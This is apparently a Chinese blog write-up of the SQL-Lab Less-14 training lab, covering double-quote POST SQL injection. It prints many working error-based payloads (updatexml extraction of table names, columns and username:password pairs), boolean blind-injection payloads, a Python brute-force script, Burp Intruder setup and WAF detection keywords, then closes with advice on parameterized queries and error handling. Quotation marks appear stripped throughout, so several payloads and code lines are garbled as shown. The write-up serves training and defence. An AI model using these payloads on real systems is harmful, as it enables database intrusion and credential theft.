ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

SQL-Lab Less-14 双引号POST报错注入与盲注实战复盘

SQL-Lab Less-14 双引号POST报错注入与盲注实战复盘 做Web安全测试这几年SQL-Lab一直是我拿来练手感的老伙计。它的每一关都像一张精心设计的习题卡Less-14单看标题就是个不起眼的编号但真动手复现一遍才发现这一关把POST型双引号字符串注入和报错回显这两个问题拧在一起考察的不只是会不会拼接Payload而是对闭合方式、编码差异、错误信息解析这些细节是否真吃透了。这篇文章是我对Less-14的完整复盘从环境探测讲到报错注入实操再补一条盲注兜底链路最后落到防御对策适合刚把注入原理看完、想在真实靶场里把逻辑打通的朋友也适合做接口安全测试的同行拿来对照自己的排查思路。1. 先搞清楚SQL-Lab靶场的关卡体系Less-14到底练什么1.1 从Less-1到Less-14关卡设计在训练什么能力SQL-Lab是一套按注入难度递进的练习靶场它的核心价值不在于关卡数量而在于把SQL注入常见的场景组合全部拆开注入点位于GET参数还是POST表单参数数据是数字型还是字符型字符型用什么符号闭合服务器是直接回显查询结果、返回报错信息、还是什么都没有。每一关都是在这些维度上做一次排列组合。Less-14在整条链路里的位置很特殊。往前看Less-1到Less-5主攻GET型注入Less-6到Less-10引入双引号闭合和盲注思路Less-11到Less-13开始转向POST型。到了Less-14训练目标变成POST表单里的双引号字符型注入且服务器开启错误回显。POST型意味着注入点从URL参数挪到了请求体里不能再直观地改URL进行测试双引号意味着很多基于单引号的通用Payload在这里会直接失效错误回显意味着我们可以从数据库报错信息中提取数据而不需要依赖页面上的数据位置。这个组合非常有代表性。实际生产环境中登录页、注册页、搜索配置页这类用POST提交数据的接口正是双引号拼接问题的高发区。很多开发者在写SQL时会习惯性地用双引号包裹字符串参数一旦走字符串拼接而不是参数化查询注入面就出现了。Less-14恰好复刻了这种场景。1.2 Less-14的关卡特征错误信息可见查询结果不可见在动手之前先要理解这一关的信息通道模型。打开Less-14的页面一个标准的登录表单包含username和password两个输入框提交后服务器执行SQL查询判断用户名密码是否匹配。这里的SELECT语句结构类似SELECT * FROM users WHERE username$username AND password$password注意两个字段都被双引号包裹。当查询成功且匹配时页面只返回登录成功匹配失败时页面返回登录失败。也就是说查询结果本身不会以数据表格的形式回显到页面这一点和Less-1那种直接把查询结果列出来的显注关卡有本质区别。但它和Less-8那种纯盲注的关卡也不同当SQL语句本身出现语法错误时数据库会抛出错误信息而这个错误信息会被PHP页面直接打印出来。这就形成了一个非常关键的信息通道——我们不能直接看到查询结果但能看到SQL执行过程中抛出的错误尤其是XPath函数执行错误。报错注入能成立全靠这个通道存在。所以Less-14的完整画像可以概括为POST型、字符型、双引号闭合、有错误回显、无数据回显。这个画像决定了后续所有测试动作的优先级先确认闭合方式再验证报错通道然后使用报错函数提取数据。1.3 环境准备一套能跑起来的本地靶场练习这种关卡我建议先用本地环境而不是随便找个在线靶场。原因很简单本地环境可以抓包、断点、看响应原文而不必担心别人临时改参数误导你。SQL-Lab本身是个PHP项目通常的做法是装好PHPMySQL环境把项目丢进Web目录即可运行。最重要的准备工作其实是Burp Suite。整个Less-14的测试几乎都围绕POST请求展开浏览器地址栏帮不上忙。你需要把Burp配置成代理开启拦截然后通过浏览器的登录表单提交一组任意账号密码把POST请求完整抓到手里。抓到之后所有注入测试都在Burp的Repeater工具里完成这样能实时查看响应包的差异也方便批量验证不同Payload。调试阶段常用的一组数据如下测试参数输入内容预期响应usernameadmin报SQL语法错误提示单引号相关问题usernameadmin报SQL语法错误提示双引号相关问题usernameadmin #登录成功或登录失败但无SQL报错usernameadmin -- a同上这一组探测的意义在于区分数字型、单引号字符型、双引号字符型三种场景。如果输入admin报错而admin不报错那SQL里大概率是单引号包裹反过来如果admin不报错而admin报错那基本可以确定是双引号包裹。Less-14属于最后一种。2. 关卡环境探测逐层确认注入点别跳过信息收集直接上Payload2.1 第一步抓包把POST参数结构呈现出来很多人到了POST型关卡就习惯在浏览器里改参数这个习惯得改。POST数据放在请求体里不经过Burp这类代理工具你根本看不到服务器到底接收了什么。我用Burp抓到的原始请求大致长这样POST /sql-lab/Less-14/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 39 unameadminpasswdadmin注意这里的参数名不是username和password而是uname和passwd。这是SQL-Lab关卡里容易踩的一个小坑——很多人会习惯性地按HTML表单里的id去猜测参数名但后端PHP脚本实际读取的字段名必须以源码或抓包结果为准。如果不抓包后续构造Payload时所有参数名都可能写错白白浪费时间。2.2 第二步用破坏性输入探测闭合类型拿到请求结构后我习惯先做一轮破坏性输入。所谓破坏性输入就是故意输入会破坏SQL语法结构的内容观察服务器的报错差异。对Less-14我依次在uname参数里提交了单引号和双引号。提交unameadminpasswdadmin后页面返回的报错信息里出现了这样一段You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near admin and passwordadmin at line 1报错片段显示SQL变成了usernameadmin and passwordadmin的结构。虽然报错明显但需要注意这里的单引号之所以没有直接爆出双引号包裹的证据是因为MySQL在解析时会先把最外层引号配对。真正的关键在下一组测试。提交unameadminpasswdadmin时报错变成了... near admin and passwordadmin at line 1这段报错清楚地暴露了SQL原始结构中的双引号边界usernameadmin and passwordadmin。此时可以确认SQL语句用双引号包裹了字符串值而我们插入的admin提前闭合了username字段的双引号导致后续的and passwordadmin被解析成非法语法。2.3 第三步验证闭合构造语义完整的注入语句确认双引号闭合后下一步是构造一个语法完整的注入语句验证我们能否在闭合双引号之后接管整条SQL而不触发语法错误。这里用注释符把原SQL后半段处理掉是最干净的做法。我构造了这样一组请求POST /sql-lab/Less-14/ HTTP/1.1 unameadmin #passwdadmin但在实际发送时#号在POST表单里的传输偶尔会被特殊处理所以我更推荐把#写成URL编码形式%23或者用--注意后面有空格做注释。两个版本我都在Repeater里试过都能正常闭合。当请求为unameadmin%23passwdadmin时服务器不再报SQL语法错误返回的是普通的登录失败提示。这说明我们的成功闭合了第一个双引号%23注释掉了后面的and passwordadmin整条SQL被改写成SELECT * FROM users WHERE usernameadmin # and passwordadmin注意实际执行时#后面的内容被MySQL忽略所以等价于WHERE usernameadmin查询成功但没匹配到用户页面显示登录失败。这一步做完注入点的可控性已经确认。2.4 连接数据库和字符集编码的坑报错信息出现乱码怎么办在探测过程中我遇到过页面返回乱码的情况尤其是涉及中文数据时。SQL-Lab默认字符集和PHP页面的meta声明有时不一致导致报错信息里的汉字显示成问号或乱码。这个问题在Less-14这种靠报错信息提取数据的关卡里会直接影响数据读取。处理方案有两个一是在Burp的Response面板里手动切换显示编码把默认的UTF-8改为GBK或反之看哪种能正常渲染二是直接用hex编码或者CHAR()函数绕过比如把查询条件写成CHAR(117,115,101,114)避免报错内容里出现非ASCII字符。实操中我更推荐第二种因为hex方式不受页面字符集影响数据的可读性和稳定性都要好很多。3. 报错注入的落地操作从报错函数里翻数据库老底3.1 报错注入的基本原理把数据塞进错误信息里Less-14有错误回显但无数据回显这决定了我们最有效的手段是报错注入。报错注入的核心思路是让数据库执行某个函数这个函数会因为参数非法而抛出错误并且错误信息中会包含我们拼进去的数据内容。MySQL里最常用的两个函数是extractvalue和updatexml。以updatexml为例它的标准语法是UPDATEEXML(XML_document, XPath_expr, new_value)作用是修改XML文档中的某段内容。第二个参数要求必须是合法的XPath表达式如果传入非法XPathMySQL会抛出错误错误信息形如XPATH syntax error: ~database()~这个错误信息会把XPath表达式原样打印出来。利用这一点我们可以把想要获取的数据通过concat()函数拼接到XPath表达式里再把整个表达式传给updatexml数据库在执行时就会因为XPath非法而把包含数据的表达式输出到页面上。Less-14的注入点我们可以用如下Payload提取当前数据库名unameadmin and updatexml(1,concat(0x7e,database(),0x7e),1) %23passwdadmin0x7e是~符号的十六进制表示。为什么要在数据前后拼~因为XPath报错有长度限制输出内容会被截断用一个特殊符号标记起始位置能在输出被截断时快速判断哪些数据真正被显示出来了。实际返回的错误信息是XPATH syntax error: ~security~security就是当前数据库名。这里还能顺带验证一个细节数据库是大小写敏感的标识符所以Payload里写的字段名、表名必须跟实际一致否则报错信息会变成Table xxx doesnt exist。3.2 爆表名、爆列名、爆数据的完整Payload链拿到数据库名之后我按常规顺序把整个数据库结构翻了一遍。以下是每条Payload及对应的返回结果。获取数据库里的表名用group_concat把所有表名拼成一行unameadmin and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) %23passwdadmin返回XPATH syntax error: ~emails,referers,uagents,users~注意这里有个坑报错注入单次输出是有长度上限的MySQL官方文档中XPath报错的显示长度大概在32个字节左右。当group_concat拼接的内容过长时后面的表名会被截断你看到的可能只有前几个。解决办法是使用limit逐条取unameadmin and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 1,1),0x7e),1) %23passwdadmin通过修改limit后面的偏移值一行一个表名地取。虽然慢但每次输出的数据都是完整可用的。获取users表的列名unameadmin and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x7e),1) %23passwdadmin返回XPATH syntax error: ~id,username,password~获取users表的用户数据unameadmin and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) %23passwdadmin返回XPATH syntax error: ~admin:admin~如果用户数量多同样用limit配合substr分段读取。比如后面的用户数据被截断了就把substr函数加进去unameadmin and updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password),1,20) from users),0x7e),1) %23passwdadmin用substr控制从第几个字符开始读多长这是报错注入中应对长度截断的标准姿势。3.3 子查询不能用时的Plan Bjoin替代方案上面有一处细节需要特别说明select table_name from information_schema.tables ... limit 1,1这种写法在MySQL中如果子查询返回多行直接放在concat()函数里会报错Subquery returns more than 1 row。所以取表名、列名这类多条结果时最省事的方法就是用group_concat它能把多行聚合为一行天然规避这个限制。但group_concat的输出长度又容易被截断两条路各有利弊。实际测试中我遇到过group_concat被禁用的场景那时候可以换用join配合报错函数。比如下面这个写法unameadmin and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1) %23passwdadmin这条语句能成立的关键在于limit 0,1限制了只返回一行子查询结果在行数上不会爆掉。如果换成limit 1,1去取第二行同样能跑通。逐行读取虽然繁琐但比拼接后截断再猜后半段要可靠得多。3.4 报错注入实战中的三个关键注意事项在实际操作Less-14时有三个问题我几乎每次都会碰到提前记下来能省不少时间。第一updatexml和extractvalue的报错长度限制。XPath的报错信息显示长度随MySQL版本略有差异但大体都在32个字符左右。数据一旦超过这个长度后面的内容会被静默截断页面不会提示这里被截断了所以每次取完数据都要检查是否可能不完整。我习惯把预期数据和实际返回逐个字比较拿不准就多跑几条substr。第二注释符的选择。POST参数里直接写#时有些PHP环境会对特殊字符做转义导致#没法作为注释符生效。我在SQL-Lab里测试时%23比#稳定得多。另外--后面必须有空格写成--%20在POST里更保险。第三Payload里的双引号和SQL语法冲突。Less-14本身用双引号包裹字符串所以Payload里如果出现双引号会提前闭合外层引号导致语法错乱。解决办法是子查询内部尽量用单引号包裹字符串字面量比如table_nameusers避免在Payload里出现双引号。如果确实需要用双引号就用十六进制编码0x7573657273代替MySQL会把十六进制字面量解析成对应字符串。4. 如果报错回显被吞掉Less-14场景下的盲注兜底方案4.1 什么情况下不得不走盲注路线虽然Less-14默认有报错回显但我在搭建其他测试环境和复现生产环境漏洞时时常遇到报错信息被WAF拦截或应用层统一处理了SQL异常的情况。那时候Less-14的报错注入Payload虽然还是能执行但页面上看不到任何错误信息。如果你在这种情况下去测试一个类似Less-14的接口就必须切换到盲注思路上来。Less-14这个场景有个特点即使报错不可见页面还是会根据SQL查询结果返回登录成功或登录失败两种不同的响应。这个差异本身就是一个布尔通道。只要注入条件为真和条件为假时页面返回内容不同就能靠布尔盲注把数据逐字符挖出来。4.2 布尔盲注的判定逻辑用真和假逼出数据布尔盲注的基本原理是先构造一个恒真的注入条件和恒假的注入条件观察两种条件下页面响应是否存在所有测试者能区分的变化。在Less-14里最简单的验证方法是unameadmin and 11 %23passwdadmin unameadmin and 12 %23passwdadmin由于admin这个用户是否存在会影响登录是否成功所以直接用admin做基准并不稳妥。我更推荐先构造一个必真必假的组合uname or 11%23passwdadmin uname or 12%23passwdadmin前者如果返回登录成功或跳转说明条件11使查询返回了至少一行而or让整个WHERE子句恒真后者必然无匹配行返回登录失败。两者响应差异明显说明布尔通道可用。确认通道后开始逐位提取数据库名。先确定长度unameadmin and length(database())1 %23passwdadmin unameadmin and length(database())2 %23passwdadmin登录成功说明长度猜对了登录失败说明继续试。逐位提取字符用substrasciiunameadmin and ascii(substr(database(),1,1))115 %23passwdadmins的ASCII码是115如果页面返回登录成功说明数据库名第一位是s换数字继续试直到匹配为止。这个过程手工跑非常枯燥我通常会用Burp的Intruder功能把ASCII码0到127做成字典一次性发出128个请求根据响应中的成功标志快速定位。4.3 用Burp Intruder或脚本把盲注效率拉上来Intruder的具体配置是这样的先把POST请求导入Intruder将ascii(substr(database(),1,1))后面的数字设置为payload位置payload type选择numbers从0到127步长1。然后在Grep-Match里添加登录成功的标志词比如success或You are logged in发送后Burp会在响应列表中直接标注哪些请求命中了标志词。命中请求的payload值就是当前位字符的ASCII码。如果数据位数多手工换substr位置同样繁琐此时建议写个简单脚本自动拼请求。用Python的requests库就能完成核心流程是import requests url http://127.0.0.1/sql-lab/Less-14/ candidates abcdefghijklmnopqrstuvwxyz0123456789_ def get_flag(): flag data_len 0 for i in range(1, 8): for l in range(32, 99): payload fadmin and ascii(substr(database(),{i},1)){l} %23 data {uname: payload, passwd: admin} r requests.post(url, datadata) if login successful in r.text: flag chr(l) break return flag print(get_flag())脚本逻辑不复杂遍历每位字符候选ASCII码范围命中登录成功标志就记录该字符。实战中这个脚本比手动快得多也适合推广到其他POST型盲注关卡。4.4 报错通道和盲注通道的组合使用策略在真实测试中我不建议死守某一种手法。Less-14这种环境我的标准策略是先花五分钟验证报错通道是否打开直接提交一个包含updatexml的Payload看页面是否返回XPATH syntax error。如果返回优先用报错注入因为单次请求能拿回一大块数据如果没返回再切到布尔盲注逐位慢慢抠。有时候报错通道处于时好时坏的状态比如数据库错误信息偶尔被打印、偶尔被吞掉。这种情况下我会做一个简单的外带通道测试用load_file()配合INTO OUTFILE尝试在Web目录写文件或者用select ... into outfile构造一个可访问的临时文件。不过SQL-Lab默认环境通常禁止文件写入这一步更多是思路演练真正落地还得看服务器配置。5. 横向对比Less-14与Less-1、Less-8、Less-13的差异在哪里5.1 一张表看清四个关卡的组合差异刚练完前面关卡再来做Less-14的朋友最常出现的问题是把前面关卡的Payload原样套过来。实际上Less-1、Less-8、Less-13、Less-14四个关卡看着相似底层组合完全不同。我整理了一张表关卡注入位置闭合符号数据回显报错回显常用注入手法Less-1GET id参数单引号有有联合查询Less-8GET id参数单引号无无布尔盲注、延时盲注Less-13POST uname/passwd单引号无有报错注入Less-14POST uname/passwd双引号无有报错注入、布尔盲注从Less-13切换到Less-14最容易踩的坑就是把Payload里的单引号闭合直接照搬。在Less-13里unameadmin and updatexml(...)#能跑通是因为SQL用的是单引号包裹到了Less-14SQL换成了双引号包裹同样的Payload交进去单引号没有闭合双引号的边界SQL语法反而被破坏页面直接报错。解决办法就是在Payload里把所有闭合字符从单引号改成双引号子查询内部的字符串字面量却要反过来保留单引号。5.2 从Less-1到Less-14的能力递进Less-1的设计目的是让你理解联合查询的基本流程通过union select拼接一个额外的查询结果然后让页面把数据直接渲染出来。那是SQL注入的第一课学的是如何拿到回显位。Less-8则完全不同它没有报错回显、没有数据回显只有根据查询结果是否返回行来决定页面内容有多少差异。在这里练的是在没有直接信息通道时如何用真/假条件来提取数据。很多人在这一关就开始接触二分法、字典枚举和延时盲注。Less-13先把注入点从GET挪到POST让你习惯用抓包工具处理请求体同时引入报错注入让你学会利用extractvalue和updatexml。它是场景转换手法升级的双重训练。Less-14在Less-13的基础上再增加一层差异闭合符号从单引号变成双引号。这一层看着小实际是很多人真正从跟着教程跑通到能独立分析SQL结构的转折点。因为要理解这个差异你必须读懂报错信息里的SQL片段必须搞清楚MySQL的引号配对规则而不只是背Payload。5.3 我在切换Payload时踩过的具体问题在从Less-13转向Less-14时我一开始直接复制了Less-13的Payload只改了POST参数名结果页面持续报错。后来静下心看报错信息才发现SQL结构里是双引号包裹而我的Payload结尾用的是单引号闭合和#注释导致SQL变成SELECT * FROM users WHERE usernameadmin and updatexml(...) # and passwordadmin整个Payload被包进双引号字符串里updatexml变成了字符串的一部分根本没有执行。把Payload首尾调整为双引号闭合后updatexml才真正开始发挥作用。这个小插曲让我意识到任何Payload的第一步不是粘贴而是确认闭合边界。6. 从攻击侧切到防御侧Less-14暴露了哪些真实接口风险6.1 根本解法参数化查询而不是黑名单过滤练完Less-14再去审视代码层面最核心的结论只有一个这个关卡的缺陷源头是字符串拼接SQL。代码大概长这样$sql SELECT * FROM users WHERE username\$uname\ AND password\$passwd\;无论我们把用户输入过滤得多严格总会有绕过的方式。SQL注入的本质是用户输入被当作SQL代码执行只要存在拼接就有注入面。所以根治方案永远是用预处理语句或参数化查询。用MySQLi的预处理写法后用户输入只会被当作数据值永远不会参与SQL语法解析$stmt $conn-prepare(SELECT * FROM users WHERE username? AND password?); $stmt-bind_param(ss, $uname, $passwd); $stmt-execute();PHP的PDO也有类似实现。这是我在实际项目中做代码审计时的第一判断标准——如果不支持预处理那这个接口就是高危接口后续所有安全测试都得分外小心。6.2 报错信息的输出管控别把数据库底牌亮给用户Less-14能靠报错注入快速出数据前提是报错信息会直接输出到页面。生产环境下数据库报错信息里往往包含表名、列名、SQL语句片段、服务器版本等敏感信息这些信息正是攻击者拼下一步Payload的指引。我处理这类问题的标准动作有三步第一步关闭PHP的display_errors配置生产环境改将错误写入日志文件而不是打印在页面上。第二步自定义数据库层的异常处理捕获所有SQL执行异常统一封装成通用的错误码返回给前端比如服务器开小差了请稍后再试。第三步在日志系统里记录包含SQL语句的完整异常堆栈供研发安全团队在后台审计。这样既不影响用户侧体验又能保留攻击线索。有些团队的接口已经用了参数化查询但错误处理还是直接返回mysqli_error()的原始信息这种情况同样会让攻击者拿到大量信息。所以参数化查询异常信息脱敏必须同时落地缺一个都不完整。6.3 编写WAF规则时的实际体会双引号场景的检测难点在给接口配置WAF或IDS规则时Less-14这种双引号注入场景很容易被漏掉。很多通用规则库只检测单引号相关的报错关键词比如、union select却在双引号Payload面前哑火。我的建议是在规则里增加对 and 、 or 、#、%23这类组合的检测因为这明显是双引号注入的闭合特征。同时注意,WAF规则不要做得太宽泛比如单纯拦截会导致所有正常包含引号的JSON请求被误杀。正确做法是结合请求来源、参数位置和上下文特征做组合判断而不是单字符匹配。6.4 从这一关延伸出去更多需要留意的注入场景Less-14做完我通常会让团队里的新人继续做几个延伸思考如果闭合符号不是双引号而是反引号怎么办如果注入点不在表单参数里而在Cookie或Referer头里又该怎么办SQL-Lab后面几个关卡正是这些变种的实战演练。练习过程中有一个习惯值得培养每拿到一个新场景先花几分钟画出SQL语句的原始结构标明引号边界、括号层级、注释符位置再动手写Payload。这个习惯在做Less-14这种双引号关卡时尤其有用它迫使你把注意力放在SQL解析逻辑而不是Payload背诵上。老实说Less-14在整套SQL-Lab里不算难但它像一面镜子把所有新手容易忽略的细节照得清清楚楚POST参数名的识别、双引号闭合的敏感度、报错信息的长度限制、注释符的编码差异。这些东西单看资料都懂真正在Repeater里一个个试过去踩过几次截断和误判的坑才算真正属于自己的经验。我后来做接口安全测试时只要遇到POST登录型接口脑子里第一反应就是Less-14这个模板——先抓包再测闭合再决定走报错还是走盲注整套节奏清晰心里不慌。你如果也在练这个靶场我建议别急着把Payload跑通就收工把每一条报错信息都读一遍把每种闭合差异都亲手验证一次这一关花的半小时后面能省下很长的弯路。
返回列表